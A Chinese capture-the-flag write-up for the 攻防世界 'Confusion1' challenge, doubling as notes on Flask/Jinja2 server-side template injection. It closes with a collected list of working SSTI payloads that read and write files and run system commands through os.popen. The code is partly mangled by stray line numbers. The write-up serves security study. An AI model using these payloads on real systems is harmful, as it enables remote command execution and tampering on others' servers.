攻防世界 Confusion1 打开题目是这样
在题目描述中让我们不要使用扫描器,那我们就扫一下。
发现flag.sql
随即访问
一时没有找到什么身份伪造的办法,看看其他地方
在源代码中发现注释
访问这个地址
获得两个提示,先记录下来,访问上面的地址也访问不了,但是查看报错页面发现这个提示在报错页面同样有。
看了下wp
ssti漏洞
tplmap没弄出来,用了大佬的payload,TVTVTVTVTVTVT
从零学习flask模板注入 - FreeBuf网络安全行业门户
随即学习一下模板注入
ssti漏洞 基础 先看一段代码
1 2 3 4 from flask import flask @app.route('/index/' ) def hello_word (): return 'hello word'
route
装饰器的作用是将函数与url绑定起来。例子中的代码的作用就是当你访问http://127.0.0.1:5000/index
的时候,flask会返回hello word。
渲染方法
flask的渲染方法有render_template和render_template_string两种。
render_template()是用来渲染一个指定的文件的。使用如下
1 return render_template('index.html' )
render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。
使用方法如下
1 2 html = '<h1>This is index page</h1>' return render_template_string(html)
命令执行漏洞 基础知识 在Jinja2模板引擎中,{{}}
是变量包裹标识符。{{}}
并不仅仅可以传递变量,还可以执行一些简单的表达式。
访问就可以看到flask中的全局变量和权限
文件包含 python的对象的继承来一步步实现文件读取和命令执行的
找到父类<type 'object'>
–>寻找子类–>找关于命令执行或者文件操作的模块。
几个魔术方法
1 2 3 4 5 6 7 8 9 10 11 12 13 __class__ 返回类型所属的对象 __mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 __base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的 __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表 __init__ 类的初始化方法 __globals__ 对包含函数全局变量的字典的引用 __init__.func_globals.keys() 查看全局函数 .__init__.func_globals.values()[] 调用这个全局函数 __import__ 动态导入模块 ['eval']('__import__(%22os%22).popen(%22ls%22).read()) 导入模块然后读取文件
(29条消息) SSTI模板注入_0verWatch的博客-CSDN博客_模板注入
(29条消息) 攻防世界Web_python_template_injection_MIGENGKING的博客-CSDN博客
简单!
常见payload收集
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 //获取基本类 '' .__class__.__mro__[1 ]{}.__class__.__bases__[0 ] ().__class__.__bases__[0 ] [].__class__.__bases__[0 ] object //读文件 ().__class__.__bases__[0 ].__subclasses__()[40 ](r'C:\1.php' ).read() object .__subclasses__()[40 ](r'C:\1.php' ).read()//写文件 ().__class__.__bases__[0 ].__subclasses__()[40 ]('/var/www/html/input' , 'w' ).write('123' ) object .__subclasses__()[40 ]('/var/www/html/input' , 'w' ).write('123' )//执行任意命令 ().__class__.__bases__[0 ].__subclasses__()[59 ].__init__.func_globals.values()[13 ]['eval' ]('__import__("os").popen("ls").read()' ) object .__subclasses__()[59 ].__init__.func_globals.values()[13 ]['eval' ]('__import__("os").popen("ls /var/www/html").read()' )% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='_IterationGuard' %} {{ c.__init__.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('whoami').read()" ) }} {% endif %} {% endfor %}